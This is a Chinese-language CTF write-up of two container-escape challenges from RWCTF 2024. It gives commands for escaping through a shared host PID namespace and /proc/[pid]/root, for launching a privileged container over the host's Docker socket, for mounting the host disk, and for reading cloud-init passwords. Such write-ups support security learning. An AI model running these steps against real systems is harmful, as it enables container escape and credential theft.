Be-a-Docker-Escaper-4 & Be-a-Cloud-Hacker

题目来自2024年第六届RWCTF体验赛

一道关于容器逃逸的题目

Be-a-Docker-Escaper-4

ssh连上后可以通过ps -aux命令看到这个容器的启动命令

1
docker run --rm -it --pid=host --security-opt=apparmor=unconfined ubuntu bash

这里介绍下--pid=host这个参数,指定为host后会使用宿主机的pid namespace。可以通过ps命令看到容器外的进程

1
2
3
--pid=""  : Set the PID (Process) Namespace mode for the container,
'container:<name|id>': joins another container's PID namespace
'host': use the host's PID namespace inside the container

因为容器共享了pid,并且关闭了apparmor,所以可以利用某些进程的/proc/[pid]/root符号链接实现容器逃逸

先找到宿主机上以非 root 用户运行的进程
很明显有个sleep进程

然后在容器中创建一个 UID 和 GID 与目标进程 UID 和 GID 相同的用户
这里的uid很明显是1000,gid则需要猜测(基本从1000开始,这一题中是1001)

最后用 su 命令切换到该用户,就有权限访问目标进程的 /proc/[pid]/root 了

非预期解法

1
for fd in `find /proc/*/root`; do ls -al $fd | grep \>; done

Be-a-Cloud-Hacker

先提升权限

创建特权容器

1
2
3
4
5
6
7
8
9
apt update
apt install docker.io
# cat /proc/$pid/root/etc/group得到gid为1000,将原来的替换成1000
sed -i 's/docker:x:103:/docker:x:1000:/g' /etc/group
usermod -aG docker exp

su exp
pid=$(pidof sleep)
docker -H unix:///proc/$pid/root/run/docker.sock run -it --privileged ubuntu bash

在特权容器中逃逸

1
2
mkdir /tmp/m
mount /dev/sda1 /tmp/m

最后找cloud-init的配置文件中的密码就行了(默认在/var/lib/cloud)


参考文章:一个未公开的容器逃逸方式


Be-a-Docker-Escaper-4 & Be-a-Cloud-Hacker
https://www.dr0n.top/posts/90615d01/
作者
dr0n
发布于
2024年1月27日
更新于
2024年3月21日
许可协议